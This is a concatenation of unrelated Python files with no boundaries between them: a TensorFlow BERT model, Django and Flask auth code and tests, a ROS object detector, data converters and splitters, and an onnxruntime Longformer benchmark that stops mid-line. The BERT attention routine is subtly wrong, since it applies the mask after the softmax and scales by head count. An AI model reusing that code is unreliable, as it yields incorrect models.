self.hidden_dropout_prob = hidden_dropout_prob self.hidden_size = hidden_size self.initializer_range = initializer_range self.intermediate_size = intermediate_size self.max_position_embeddings = max_position_embeddings self.num_attention_heads = num_attention_heads self.num_hidden_layers = num_hidden_layers self.type_vocab_size = type_vocab_size self.vocab_size = vocab_size self.layer_norm_eps = layer_norm_eps @staticmethod def from_json(path: str) -> "BertConfig": with open(path, "r") as f: file_content = json.load(f) return BertConfig(**file_content) class Bert(tf.keras.Model): def __init__(self, config: BertConfig): super().__init__() # embedding layer self.token_embeddings = tf.keras.layers.Embedding( config.vocab_size, config.hidden_size, embeddings_initializer=get_initializer(config.initializer_range), ) self.token_type_embeddings = tf.keras.layers.Embedding( config.type_vocab_size, config.hidden_size, embeddings_initializer=get_initializer(config.initializer_range), ) self.position_embeddings = tf.keras.layers.Embedding( config.max_position_embeddings, config.hidden_size, embeddings_initializer=get_initializer(config.initializer_range), ) self.embedding_layer_norm = tf.keras.layers.LayerNormalization( epsilon=config.layer_norm_eps, axis=-1 ) self.dropout = tf.keras.layers.Dropout(config.hidden_dropout_prob) # encoder self.encoders = [ TransformerEncoder(config) for _ in range(config.num_hidden_layers) ] # pooler self.pooler_layer = tf.keras.layers.Dense( config.hidden_size, kernel_initializer=get_initializer(config.initializer_range), activation="tanh", ) def call(self, inputs): input_ids, token_type_ids, position_ids, attention_mask = inputs words_embeddings = self.token_embeddings(input_ids) token_type_embeddings = self.token_type_embeddings(token_type_ids) position_embeddings = self.position_embeddings(position_ids) attention_mask = (1.0 - attention_mask[:, tf.newaxis, :, tf.newaxis]) * -1e9 embeddings = words_embeddings + token_type_embeddings + position_embeddings embeddings = self.embedding_layer_norm(embeddings) hidden_states = self.dropout(embeddings) for encoder in self.encoders: hidden_states = encoder(hidden_states, attention_mask) pooled_output = self.pooler_layer(hidden_states[:, 0, :]) return hidden_states, pooled_output class TransformerEncoder(tf.keras.layers.Layer): def __init__(self, config: BertConfig): super().__init__() self.attention_proj = tf.keras.layers.Dense( config.hidden_size * 3, kernel_initializer=get_initializer(config.initializer_range), ) self.attention_dense = tf.keras.layers.Dense( config.hidden_size, kernel_initializer=get_initializer(config.initializer_range), ) self.attention_layer_norm = tf.keras.layers.LayerNormalization( epsilon=config.layer_norm_eps, axis=-1 ) self.intermediate_dense = tf.keras.layers.Dense( config.intermediate_size, kernel_initializer=get_initializer(config.initializer_range), ) self.intermediate_act = config.hidden_act self.intermediate_dense2 = tf.keras.layers.Dense( config.hidden_size, kernel_initializer=get_initializer(config.initializer_range), ) self.intermediate_layer_norm = tf.keras.layers.LayerNormalization( epsilon=config.layer_norm_eps, axis=-1 ) self.dropout = tf.keras.layers.Dropout(config.hidden_dropout_prob) self.scaling_factor = float(config.num_attention_heads) ** -0.5 self.num_head = config.num_attention_heads self.attention_depth = int(config.hidden_size / self.num_head) self.hidden_size = config.hidden_size def call(self, sequence, attention_mask): # multihead attention attention, _ = self._multihead_attention(sequence, attention_mask) # add and norm attention = self.attention_layer_norm(attention + sequence) # fc intermediate = self.intermediate_dense(attention) if self.intermediate_act is not None: intermediate = self.intermediate_act(intermediate) intermediate = self.dropout(self.intermediate_dense2(intermediate)) # add and norm intermediate = self.intermediate_layer_norm(intermediate + attention) return intermediate def _multihead_attention(self, sequence, attention_mask): q, k, v = tf.split(self.attention_proj(sequence), num_or_size_splits=3, axis=-1) q = self._reshape_qkv(q) k = self._reshape_qkv(k) v = self._reshape_qkv(v) # calculate attention q *= self.scaling_factor attention = tf.matmul(q, k, transpose_b=True) attention_weight = tf.nn.softmax(attention, axis=-1) attention = tf.matmul(attention_weight, v) attention += attention_mask # concat attention = tf.transpose(attention, perm=[0, 2, 1, 3]) new_shape = [-1, tf.shape(attention)[1], self.hidden_size] attention = tf.reshape(attention, new_shape) # last dense net attention = self.attention_dense(attention) attention = self.dropout(attention) return attention, attention_weight def _reshape_qkv(self, val): new_shape = [-1, tf.shape(val)[1], self.num_head, self.attention_depth] return tf.transpose(tf.reshape(val, new_shape), perm=[0, 2, 1, 3]) from django.contrib import admin from .models import Question, Answer class QuestionAdmin(admin.ModelAdmin): list_display = ["id", "category", "body"] class AnswerAdmin(admin.ModelAdmin): list_display = ["id", "user", "body", "question"] admin.site.register(Question, QuestionAdmin) admin.site.register(Answer, AnswerAdmin) from .basetest import BaseTest import json class TestUser(BaseTest): def test_user_registration(self): """test that user can register""" resp = self.client.post("/api/v2/auth/signup", data=json.dumps(self.test_user), content_type="application/json") self.assertEqual(resp.status_code, 201) self.assertIn("User registered successfully", str(resp.data)) def test_register_with_whitespaces(self): resp = self.client.post('/api/v2/auth/signup', data=json.dumps(self.invalid_user), content_type='application/json') self.assertEqual(resp.status_code, 400) self.assertIn("fields cannot be blank", str(resp.data)) def test_double_registration(self): """test that user can't be registered twice""" resp = self.client.post('/api/v2/auth/signup', data=json.dumps(self.test_user), content_type='application/json') self.assertEqual(resp.status_code, 201) resp = self.client.post('/api/v2/auth/signup', data=json.dumps(self.test_user), content_type='application/json') self.assertEqual(resp.status_code, 409) self.assertIn("already exists", str(resp.data)) resp = self.client.post('/api/v2/auth/signup', data=json.dumps(self.test_user2), content_type='application/json') self.assertEqual(resp.status_code, 409) self.assertIn("already exists", str(resp.data)) def test_passwords_do_not_match(self): """Test if user passwords match or not""" resp = self.client.post('/api/v2/auth/signup', data=json.dumps(self.wrong_pass), content_type='application/json') self.assertEqual(resp.status_code, 401) self.assertIn("passwords do not match", str(resp.data)) def test_login_non_registered(self): """Test user can't login unless they are registered""" resp = self.client.post('/api/v2/auth/login', data=json.dumps(self.login1), content_type='application/json') self.assertEqual(resp.status_code, 400) self.assertIn("user does not exist", str(resp.data)) def test_login_with_invalid_details(self): """Test user cannot be logged in with invalid details""" resp = self.client.post('/api/v2/auth/login', data=json.dumps(self.invalid_login), content_type='application/json') self.assertEqual(resp.status_code, 400) self.assertIn("please enter a valid email", str(resp.data)) def test_user_login(self): """Test that user can be logged in successfully""" self.client.post('/api/v2/auth/signup', data=json.dumps(self.test_user), content_type='application/json') resp = self.client.post('/api/v2/auth/login', data=json.dumps(self.login), content_type='application/json') self.assertEqual(resp.status_code, 200) self.assertIn("token", str(resp.data)) def test_logout(self): """test that user can be able to log out""" resp = self.client.post('/api/v2/auth/logout', data=json.dumps(self.login), content_type='application/json', headers=self.user_header) self.assertEqual(resp.status_code, 200) self.assertIn("Successfully logged out", str(resp.data)) def test_register_with_non_json(self): resp = self.client.post("/api/v2/auth/signup", data=json.dumps(self.test_user), content_type="text") self.assertEqual(resp.status_code, 400) resp = self.client.post('/api/v2/auth/login', data=json.dumps(self.login), content_type='text') self.assertEqual(resp.status_code, 400) def test_login_with_incorrect_credentials(self): self.client.post('/api/v2/auth/signup', data=json.dumps(self.test_user), content_type='application/json') resp = self.client.post('/api/v2/auth/login', data=json.dumps(self.wrong_credentials), content_type='application/json') self.assertEqual(resp.status_code, 401) self.assertIn("Invalid email", str(resp.data)) def test_get_users(self): self.client.post('/api/v2/auth/signup', data=json.dumps(self.test_user), content_type='application/json') resp = self.client.get('/api/v2/auth', headers=self.admin_header) self.assertEqual(resp.status_code, 200) response = self.client.get('/api/v2/auth/ben', headers=self.admin_header) self.assertEqual(response.status_code, 200) 1-10 #!/usr/bin/env python from __future__ import print_function import roslib roslib.load_manifest('hide_and_seek_object_detection') import sys import rospy import cv2 from std_msgs.msg import String from sensor_msgs.msg import Image, CompressedImage from cv_bridge import CvBridge, CvBridgeError import numpy as np import argparse # classes of objects that can be detected by the pretrained model CLASSES = ["background", "aeroplane", "bicycle", "bird", "boat", "bottle", "bus", "car", "cat", "chair", "cow", "diningtable", "dog", "horse", "motorbike", "person", "pottedplant", "sheep", "sofa", "train", "tvmonitor"] # random colors for color map COLORS = np.random.uniform(0, 255, size=(len(CLASSES), 3)) class Detector: def __init__(self): self.window_name = "Ros Camera View" # arguments for testing purposes # will be replaced with fixed names in final form # self.ap = argparse.ArgumentParser() # self.ap.add_argument("-p", "--prototxt", required=True, help="path to Caffe deploy protxt file") # self.ap.add_argument("-m", "--model", required=True, help="path to Caffe pre-trained model") # self.ap.add_argument("-c", "--confidence", type=float, default=0.2, help="min probability to filter weak detections") # self.args = vars(self.ap.parse_args()) print("[INFO] loading model...") # reading the pretrained deep neural net self.net = cv2.dnn.readNetFromCaffe('/home/adrianb3/catkin_ws/src/hide_and_seek/hide_and_seek_object_detection/src/MobileNetSSD_deploy.prototxt.txt', '/home/adrianb3/catkin_ws/src/hide_and_seek/hide_and_seek_object_detection/src/MobileNetSSD_deploy.caffemodel') self.bridge = CvBridge() # subscribing to images from ros camera topic self.image_sub = rospy.Subscriber("/camera/image_raw/compressed", CompressedImage, self.callback) self.frameCounter = 0 self.frame = 0 self.fps = 0 def callback(self, data): self.frameCounter+=1 try: # converting to opencv image format self.frame = self.bridge.compressed_imgmsg_to_cv2(data, "bgr8") except CvBridgeError as e: print(e) # actual detection in current frame self.compute_object_detection(self.frame) fpstxt = "fps: {}".format(self.fps) cv2.putText(self.frame, fpstxt ,(20, 20), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (10,255,10) ,1) # diplaying the frame cv2.imshow(self.window_name, self.frame) cv2.waitKey(1) def fps_callback(self, event): self.fps = self.frameCounter self.frameCounter = 0 def compute_object_detection(self, frame): (h, w) = self.frame.shape[:2] # image size blob = cv2.dnn.blobFromImage(self.frame, 0.007843, (h/4, w/4), cv2.mean(frame)) # raw image -> the dnn requires that the images are the same size rospy.loginfo("computing object detections...\n") self.net.setInput(blob) detections = self.net.forward() # pass the image through the neural net # extracting the outputs of the neural net and overlaying the bounding boxes for i in np.arange(0, detections.shape[2]): confidence = detections[0, 0, i, 2] if confidence > 0.5: idx = int(detections[0, 0, i, 1]) box = detections[0, 0, i, 3:7] * np.array([w,h,w,h]) (startX, startY, endX, endY) = box.astype("int") label = "{}: {:.2f}%".format(CLASSES[idx], confidence*100) rospy.loginfo(" {} \n".format(label)) cv2.rectangle(self.frame, (startX, startY), (endX, endY), (10,255,10), 1) y = startY - 15 if startY - 15 > 15 else startY + 15 cv2.putText(self.frame, label, (startX, y), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (10,255,10), 1) def main(args): detc = Detector() rospy.init_node("object_detector") rospy.Timer(rospy.Duration(1, 0),detc.fps_callback) try: rospy.spin() except KeyboardInterrupt: print("Shutting Down") cv2.destroyAllWindows() if __name__ == '__main__': main(sys.argv)"""standard converter""" # -*- coding:utf-8 -*- import time import traceback from abc import ABCMeta, abstractmethod from commonbaby.helpers import helper_str, helper_time from commonbaby.mslog import MsLogger, MsLogManager from datacontract import ALL_APPS, AppConfig, DataSeg, InputData class ConverterField: """表示一个需要转换的字段.\n key: 字段名\n required: 是否为必要字段，默认为True\n ignorecase: 读取时是否忽略大小写，默认为True\n """ def __init__(self, key: str, required: bool = True, ignorecase: bool = True): if not isinstance(key, str) or key == "": raise Exception("Converter field param 'key' cannot be empty") if not isinstance(required, bool): raise Exception("Converter field param 'required' is invalid.") if not isinstance(ignorecase, bool): raise Exception("Converter field param 'ignorecase' is invalid.") self._key: str = key self._required: bool = required self._ignorecase: bool = ignorecase class ConverterBase: """数据标准转换器基类.\n uniquename:当前转换器的唯一标识\n fields: 一个字典，包含当前转换器需要转换的字段，以字段名为键，ConverterField为值。\n extendfields: 需要额外添加的字段字典集合，若原始数据中无指定字段才添加""" __metaclass = ABCMeta def __init__(self, uniquename: str, fields: dict, extendfields: dict = None): if not isinstance(uniquename, str) or uniquename == "": raise Exception("Specified converter unique name is invalid.") if not isinstance(fields, dict) or len(fields) < 1: raise Exception( "Specified converter fields is not a dict or no field specified: %s" % uniquename) for field in fields.values(): if not isinstance(field, ConverterField): raise Exception( "Specified converter filed is not a ConverterField") self._uniquename: str = uniquename self._fields: dict = fields self._extendfields: dict = {} if isinstance(extendfields, dict) and len(extendfields) > 0: for ext in extendfields.items(): if not isinstance(ext[0], str) or ext[0] == "": continue self._extendfields[ext[0]] = ext[1] self._logger: MsLogger = MsLogManager.get_logger(self._uniquename) @abstractmethod def match_data(self, data: InputData) -> bool: """匹配数据""" pass def convert(self, data: InputData) -> iter: """convert standard and return Tasks. If failed, return None""" for seg in self._convert(data): seg: DataSeg = seg seg.inputdata = data yield seg @abstractmethod def _convert(self, data: InputData) -> iter: """子类实现数据解析功能""" raise NotImplementedError() def _validation_fields(self, seg: DataSeg, data: InputData) -> bool: """根据配置验证输入数据的字段是否符合要求，返回验证后的字段集合（键为小写）""" res: bool = False try: for field in self._fields.values(): field: ConverterField = field if field._ignorecase: succ: bool = False for f in seg._fields.items(): lowkey = f[0].lower() if lowkey == field._key.lower(): # 如果原键不是小写，给转成小写的 if lowkey != f[0]: seg._fields.pop(f[0], None) seg._fields[lowkey] = f[1] succ = True break if not succ and field._required: self._logger.error( "Invalid field '{}' in data:\nsegindex:{}\nsegline:{}\ndata:{}" .format(field._key, seg.segindex, seg.segline, data.name)) return res else: if not seg._fields.__contains__( field._key) and field._required: return res res = True except Exception: self._logger.error( "Validation fields failed:%s" % traceback.format_exc()) return res def _add_required_fields(self, seg: DataSeg, data: InputData): """向DataSeg中添加当前转换器配置的必要字段""" # 添加额外字段 if not self._extendfields is None: for ef in self._extendfields.items(): if not seg.contains_key(ef[0]): if not callable(ef[1]): seg.append_to_fields(ef[0], ef[1]) else: seg.append_to_fields(ef[0], ef[1]()) # 添加额外必要字段 if not seg.contains_key("platform"): seg.append_to_fields("platform", data._platform) # 新任务过来，要加一个time if not seg.contains_key("time"): seg.append_to_fields("time", helper_time.ts_since_1970_tz()) def _get_apptype(self, fields: dict, data: InputData) -> int: """从cookie文件中的host字段判断apptype，并返回 int apptype""" res: str = None try: if not fields.__contains__("host"): self._logger.error( "Get apptype of data by '%s' failed, no 'host' find in cookie: %s" % (self._uniquename, data._source)) return res host: str = fields["host"] for cfg in ALL_APPS.values(): cfg: AppConfig = cfg if any( host.__contains__(h) or h.__contains__(host) for h in cfg._apphosts): res = cfg._apptype break except Exception: res = None self._logger.error( "Get apptype of data by '{}' error:\ndata:{}\nerror:{}".format( self._uniquename, data._source, traceback.format_exc())) return res import os, multiprocessing as mp import random, string import time, sys import datetime import traceback import argparse from io import SEEK_END import os def write_to_file(fname, ds, output_dir, start, stop): year = 1995 for ls in ds: dirpath = os.path.join(output_dir, str(year), os.path.basename(fname)) if not os.path.exists(dirpath): os.makedirs(dirpath) filepath = os.path.join(dirpath, "{}_{}_{}".format(year, start, stop)) outF = open(filepath, "w", encoding='utf-8') outF.writelines(ls) outF.close() year = year + 1 def write_to_Single_file(fname, ds, output_dir,start,stop): filepath = os.path.join(output_dir, os.path.basename(fname)+"_generated"+str(start)+"_"+str(stop)+".txt") outF = open(filepath, "w", encoding='utf-8') outF.writelines(ds) outF.close() # process file function def processfile(filename, output_dir, start=0, stop=0): count = 0 ls_1995_1996 = [] for i in range(1995, 2006): ls_1995_1996.append([]) if start == 0 and stop == 0: print('... process entire file...') else: with open(filename, 'r') as fh: fh.seek(start) lines = fh.readlines(stop - start) for line in lines: sys.stdout.write("\r" + random.choice(string.ascii_letters)) sys.stdout.flush() if "1995" in line: ls_1995_1996[0].append(line) elif "1996" in line: ls_1995_1996[1].append(line) elif "1997" in line: ls_1995_1996[2].append(line) elif "1998" in line: ls_1995_1996[3].append(line) elif "1999" in line: ls_1995_1996[4].append(line) elif "2000" in line: ls_1995_1996[5].append(line) elif "2001" in line: ls_1995_1996[6].append(line) elif "2002" in line: ls_1995_1996[7].append(line) elif "2003" in line: ls_1995_1996[8].append(line) elif "2004" in line: ls_1995_1996[9].append(line) elif "2005" in line: ls_1995_1996[10].append(line) #write_to_file(fname, ls_1995_1996, output_dir, start, stop) write_to_Single_file(filename,lines,output_dir,start,stop) return len(lines) if __name__ == "__main__": output_dir = "E:/download/proj/n5grm/small_ds/multiproc_output" filename = "E:/download/test/output/googlebooks-eng-all-5gram-20120701-np" # get file size and set chuck size filesize = os.path.getsize(filename) cpu_count = 8 split_size = 1024 #2 * 1024 * 1024 print("split size {}".format(split_size)) print("filesize size {}".format(filesize)) # determine if it needs to be split if filesize > split_size: # create pool, initialize chunk start location (cursor) pool = mp.Pool(cpu_count) cursor = 0 results = [] with open(filename, 'r') as fh: # for every chunk in the file... for chunk in range(filesize // split_size): # determine where the chunk ends, is it the last one? if cursor + split_size > filesize: end = filesize else: end = cursor + split_size # seek to end of chunk and read next line to ensure you # pass entire lines to the processfile function fh.seek(end) fh.readline() # get current file location end = fh.tell() # add chunk to process pool, save reference to get results proc = pool.apply_async(processfile, args=[filename, output_dir,cursor, end]) results.append(proc) # setup next chunk cursor = end # close and wait for pool to finish pool.close() pool.join() # iterate through results total_lines = 0 for proc in results: processfile_result = proc.get() total_lines =total_lines+ processfile_result; print(total_lines) else: print("small file it iwl never executed...") import alf.io import numpy as np from oneibl.one import ONE def get_DLC(eid,video_type): '''load dlc traces load dlc traces for a given session and video type. :param eid: A session eid :param video_type: string in 'left', 'right', body' :return: array of times and dict with dlc points as keys and x,y coordinates as values, for each frame id ''' one = ONE() D = one.load(eid, dataset_types = ['camera.dlc', 'camera.times']) alf_path = one.path_from_eid(eid) / 'alf' cam0 = alf.io.load_object( alf_path, '%sCamera' % video_type, namespace='ibl') Times = cam0['times'] cam = cam0['dlc'] points = np.unique(['_'.join(x.split('_')[:-1]) for x in cam.keys()]) XYs = {} for point in points: x = np.ma.masked_where( cam[point + '_likelihood'] < 0.9, cam[point + '_x']) x = x.filled(np.nan) y = np.ma.masked_where( cam[point + '_likelihood'] < 0.9, cam[point + '_y']) y = y.filled(np.nan) XYs[point] = np.array([x, y]) return Times, XYs # -*- coding: utf-8 -*- """ With SideGeometry, we store the mapping form (p, q) to the side geometry, while (p, q)= ((0,1), (0,1)). (C) Created on Fri Dec 14 20:28:15 2018 Aerodynamics, AE TU Delft """ from screws.freeze.main import FrozenOnly from importlib import import_module class SideGeometryAllocator(FrozenOnly): """ """ def __init__(self, st): """ """ assert st[0] in self.___coded_side_geometries___(), \ " : SideGeometry: {} is not coded. ".format(st[0]) self._st_ = st cls_name = self.___coded_side_geometries___()[st[0]] cls_path = self.___side_geometries_path___()[st[0]] self._cls_ = getattr(import_module(cls_path), cls_name) self._freeze_self_() def __call__(self, cc): """ """ return self._cls_(cc, self._st_) @classmethod def ___coded_side_geometries___(cls): """ update this whenever we code a new SideGeometry. """ return {'free': 'Free', 'plane': 'Plane', 'customized' : 'Customized',} @classmethod def ___side_geometries_path___(cls): """ """ base_path = '.'.join(str(cls).split(' ')[1][1:-2].split('.')[:-2]) + '.' return {'free': base_path + 'free', 'plane': base_path + 'plane', 'customized' : base_path + 'customized',} francisar/ldapapi __author__ = 'franciscui' #!/usr/bin/env python # coding: utf-8 import os import sys reload(sys) sys.setdefaultencoding('utf8') os.environ['DJANGO_SETTINGS_MODULE']='ldapapi.settings' from django.core.wsgi import get_wsgi_application application = get_wsgi_application()applications/experimental/pipelines/pipelines/utils/logger.py import logging # import from requests.exceptions import ConnectionError logger = logging.getLogger(__name__) class StdoutLogger(): """Minimal logger printing metrics and params to stdout. Useful for services like AWS SageMaker, where you parse metrics from the actual logs""" disable_logging = False def __init__(self, tracking_uri, **kwargs): self.tracking_uri = tracking_uri def init_experiment(self, experiment_name, run_name=None, nested=True): logger.info( f"\n **** Starting experiment '{experiment_name}' (Run: {run_name}) ****" ) @classmethod def log_metrics(cls, metrics, step): logger.info(f"Logged metrics at step {step}: \n {metrics}") @classmethod def log_params(cls, params): logger.info(f"Logged parameters: \n {params}") @classmethod def log_artifacts(cls, dir_path, artifact_path=None): raise NotImplementedError @classmethod def end_run(cls): logger.info(f"**** End of Experiment **** ") import pandas as pd import sys, json, numpy as np import csv import seaborn as sns #Script to calculate correlation values and matrix. def main(): #buffer input lines = sys.stdin.readlines() lines = json.loads(lines[0]) filePath = lines["filePath"] columns = lines["column"] #dataframe input df = pd.read_csv(filePath) df = df[columns] correlation_mat = df.corr() arr = correlation_mat.to_numpy() arr = arr.tolist() #dump output data to buffer output = json.dumps(arr) print(output) #start process if __name__ == "__main__": main()import csv winning_title = input('Winning title: ') with open('nominees.csv', newline='') as f: for line in csv.DictReader(f): if line['title'] == winning_title: print('Congratulations:', line['director(s)']) 10-100 import unittest from fluentcheck.classes import Check from fluentcheck.exceptions import CheckError class TestNumbersAssertions(unittest.TestCase): def test_is_number(self): # ints val = 123 res = Check(val).is_number() self.assertIsInstance(res, Check) # floats val = float(123) res = Check(val).is_number() self.assertIsInstance(res, Check) # complexes val = complex(33.44, 55.66) res = Check(val).is_number() self.assertIsInstance(res, Check) # test failure val = 'not-a-number' self.assertTrue(all([not isinstance(val, kls) for kls in Check.NUMERIC_TYPES])) try: Check(val).is_number() self.fail() except CheckError: pass def test_is_not_number(self): val = 'not-a-number' self.assertTrue(all([not isinstance(val, kls) for kls in Check.NUMERIC_TYPES])) res = Check(val).is_not_number() self.assertIsInstance(res, Check) # test failures # ints val = 123 try: Check(val).is_not_number() self.fail() except CheckError: pass # floats val = float(123) try: Check(val).is_not_number() self.fail() except CheckError: pass # complexes val = complex(33.44, 55.66) try: Check(val).is_not_number() self.fail() except CheckError: pass def test_is_integer(self): res = Check(123).is_integer() self.assertIsInstance(res, Check) try: Check(float(123)).is_integer() self.fail() except CheckError: pass def test_is_not_integer(self): res = Check('test').is_not_integer() self.assertIsInstance(res, Check) try: Check(123).is_not_integer() self.fail() except CheckError: pass def test_is_float(self): res = Check(123.9).is_float() self.assertIsInstance(res, Check) try: Check(123).is_float() self.fail() except CheckError: pass def test_is_not_float(self): res = Check('test').is_not_float() self.assertIsInstance(res, Check) try: Check(123.9).is_not_float() self.fail() except CheckError: pass def test_is_real(self): res = Check(123.9).is_real() self.assertIsInstance(res, Check) try: val = complex(1.2, 3.4) Check(val).is_real() Check('test').is_real() self.fail() except CheckError: pass def test_is_not_real(self): val = complex(1.2, 3.4) res = Check(val).is_not_real() self.assertIsInstance(res, Check) try: Check('test').is_not_real() self.fail() except: pass try: Check(123.9).is_not_real() self.fail() except CheckError: pass def test_is_complex(self): val = complex(1.2, 3.4) res = Check(val).is_complex() self.assertIsInstance(res, Check) try: Check(123).is_complex() self.fail() except CheckError: pass def test_is_not_complex(self): res = Check('test').is_not_complex() self.assertIsInstance(res, Check) try: val = complex(1.2, 3.4) Check(val).is_not_complex() self.fail() except CheckError: pass def test_is_positive(self): res = Check(2).is_positive() self.assertIsInstance(res, Check) try: Check(0).is_positive() self.fail() except CheckError: pass try: Check(-1).is_positive() self.fail() except CheckError: pass def test_is_not_positive(self): res = Check(-1).is_not_positive() self.assertIsInstance(res, Check) res = Check(0).is_not_positive() self.assertIsInstance(res, Check) try: Check(123).is_not_positive() self.fail() except CheckError: pass def test_is_negative(self): res = Check(-2).is_negative() self.assertIsInstance(res, Check) try: Check(0).is_negative() self.fail() except CheckError: pass try: Check(1).is_negative() self.fail() except CheckError: pass def test_is_not_negative(self): res = Check(1).is_not_negative() self.assertIsInstance(res, Check) res = Check(0).is_not_negative() self.assertIsInstance(res, Check) try: Check(-1).is_not_negative() self.fail() except CheckError: pass def test_is_zero(self): res = Check(0).is_zero() self.assertIsInstance(res, Check) try: Check(1).is_zero() self.fail() except CheckError: pass def test_is_not_zero(self): res = Check(1).is_not_zero() self.assertIsInstance(res, Check) try: Check(0).is_not_zero() self.fail() except CheckError: pass def test_is_at_least(self): res = Check(7).is_at_least(6.5) self.assertIsInstance(res, Check) res = Check(7).is_at_least(7) self.assertIsInstance(res, Check) try: Check(7).is_at_least(99) self.fail() except CheckError: pass def test_is_at_most(self): res = Check(6.5).is_at_most(7) self.assertIsInstance(res, Check) res = Check(7).is_at_most(7) self.assertIsInstance(res, Check) try: Check(7).is_at_most(3) self.fail() except CheckError: pass def test_is_between(self): res = Check(5.4).is_between(5, 6) self.assertIsInstance(res, Check) try: Check(5.4).is_between(2, 3) self.fail() except CheckError: pass def test_is_not_between(self): res = Check(5.4).is_not_between(1, 2) self.assertIsInstance(res, Check) try: Check(5.4).is_not_between(5, 6) self.fail() except CheckError: pass lchang20/onnxruntime # ------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # -------------------------------------------------------------------------- # # This script run benchmark of latency or peak memory usage of Longformer model inference. # # Please run convert_longformer_to_onnx.py to get onnx model before running this script. # Tested with python 3.6, onnxruntime-gpu 1.7.0, PyTorch 1.7.1, transformers 4.3.2, CUDA 10.2. # # Example commands for exporting longformer base model in Linux or WSL: # cd ../torch_extensions # python setup.py install # cd ../longformer # python convert_longformer_to_onnx.py --model longformer-base-4096 --precision fp16 --optimize_onnx # # When there is no parameter, all avaiable tests (memory & latency) will run on the longformer-base-4096 pretrained model. # python benchmark_longformer.py # # Benchmark the latency (Exported onnx model is in the current directory): # python benchmark_longformer.py --model longformer-base-4096 --batch_sizes 1 --sequence_lengths 512 1024 2048 4096 --global_lengths 8 --onnx ./longformer-base-4096_fp16.onnx --validate_onnx -t 100 # # Benchmark GPU peak memory: # export ORT_LONGFORMER_COMPACT_MEMORY=0 # python benchmark_longformer.py --model longformer-base-4096 --batch_sizes 1 --sequence_lengths 4096 --global_lengths 8 --onnx_dir . --memory -t 10 # export ORT_LONGFORMER_COMPACT_MEMORY=1 # python benchmark_longformer.py --model longformer-base-4096 --batch_sizes 1 --sequence_lengths 4096 --global_lengths 8 --onnx_dir . --memory -t 10 # By default, compact memory kernel is not enabled. You need set an environment variable ORT_LONGFORMER_COMPACT_MEMORY=1 to enable it. import timeit from datetime import datetime import csv import argparse import os import sys import torch import onnxruntime import numpy as np import math from longformer_helper import LongformerHelper, PRETRAINED_LONGFORMER_MODELS sys.path.append(os.path.join(os.path.dirname(__file__), '..')) import benchmark_helper def test_torch_latency(device, model, model_name, batch_sizes, sequence_lengths, global_lengths, test_times, num_threads, verbose): if num_threads > 0: torch.set_num_threads(num_threads) results = [] for batch_size in batch_sizes: for sequence_length in sequence_lengths: for global_length in global_lengths: print(f"batch_size={batch_size} sequence_length={sequence_length} global_length={global_length}...") inputs: LongforerInputs = LongformerHelper.get_dummy_inputs(batch_size, sequence_length, global_length, device) input_list = inputs.to_list() _ = model(*input_list) runtimes = timeit.repeat(lambda: model(*input_list), repeat=test_times, number=1) result = { "engine": "torch", #TODO: test torchscript "version": torch.__version__, "device": "cuda", "optimizer": "", "precision": "fp32", "io_binding": "", "model_name": model_name, "description": model_name + "[torch]", "inputs": 3, "threads": num_threads, "batch_size": batch_size, "sequence_length": sequence_length, "global_length": global_length, "datetime": str(datetime.now()), "memory": "?", } result.update(benchmark_helper.get_latency_result(runtimes, batch_size)) print(result) results.append(result) return results def test_parity(device, model, ort_session, batch_size, sequence_length, global_length, verbose=True): print( f"Comparing Torch and ORT outputs for batch_size={batch_size} sequence_length={sequence_length} global_length={global_length}..." ) dummy_inputs: LongforerInputs = LongformerHelper.get_dummy_inputs(batch_size, sequence_length, global_length, device) ort_inputs = dummy_inputs.get_ort_inputs() ort_outputs = ort_session.run(None, ort_inputs) input_list = dummy_inputs.to_list() torch_outputs = model(*input_list) max_diff = np.amax(torch_outputs[0].cpu().numpy() - ort_outputs[0]) print(f"last_state max diff = {max_diff}") if verbose and (math.isnan(max_diff) or max_diff > 0.001): print("torch last_state:", torch_outputs[0]) print("ort last_state:", ort_outputs[0]) return max_diff def test_ort_latency(device, model, model_name, description, ort_session, batch_sizes, sequence_lengths, global_lengths, test_times, num_threads, optimizer=False, precision='fp32', validate_onnx=True, disable_io_binding=False, verbose=True): results = [] for batch_size in batch_sizes: for sequence_length in sequence_lengths: for global_length in global_lengths: assert global_length <= model.config.attention_window[ 0], "Limitation of current implementation: number of global token <= attention_window" print( f"Testing batch_size={batch_size} sequence_length={sequence_length} global_length={global_length} optimizer={optimizer}, precision={precision} io_binding={not disable_io_binding}..." ) dummy_inputs: LongforerInputs = LongformerHelper.get_dummy_inputs(batch_size, sequence_length, global_length, device) # Run OnnxRuntime ort_inputs = dummy_inputs.get_ort_inputs() if verbose: print(ort_inputs) # run one query for warm up ort_outputs = ort_session.run(None, ort_inputs) result_template = { "model_name": model_name, "description": description, "inputs": 3, "engine": "OnnxRuntime", "version": onnxruntime.__version__, "device": "cuda", "precision": precision, "optimizer": optimizer, "threads": num_threads, "batch_size": batch_size, "sequence_length": sequence_length, "global_length": global_length, "test_times": test_times, "datetime": str(datetime.now()), "memory": "", } if not disable_io_binding: max_last_state_size = max(batch_sizes) * max(sequence_lengths) * model.config.hidden_size max_pooler_size = max(batch_sizes) * max(sequence_lengths) result = benchmark_helper.inference_ort_with_io_binding( ort_session, ort_inputs, result_template=result_template, repeat_times=test_times, ort_output_names=["last_state", "pooler"], ort_outputs=ort_outputs, output_buffers=[], output_buffer_max_sizes=[max_last_state_size, max_pooler_size], batch_size=batch_size, device=device, data_type=np.longlong, #input data type ) else: result = benchmark_helper.inference_ort(ort_session, ort_inputs, result_template=result_template, repeat_times=test_times, batch_size=batch_size) if validate_onnx: max_diff = test_parity(device, model, ort_session, batch_size, sequence_length, global_length, verbose) result["description"] += f"(max_diff={max_diff})" results.append(result) return results def test_ort_memory(device, onnx_model_path, batch_size, sequence_length, global_length, test_times, num_threads): print( f"Testing memory for model={onnx_model_path}, batch_size={batch_size}, sequence_length={sequence_length}, global_length={global_length}, test_times={test_times}, num_threads={num_threads}" ) def inference(): session = benchmark_helper.create_onnxruntime_session(onnx_model_path, use_gpu=True, enable_all_optimization=True, num_threads=num_threads) dummy_inputs: LongforerInputs = LongformerHelper.get_dummy_inputs(batch_size, sequence_length, global_length, device) ort_inputs = dummy_inputs.get_ort_inputs() for _ in range(test_times): ort_outputs = session.run(None, ort_inputs) memory_used = 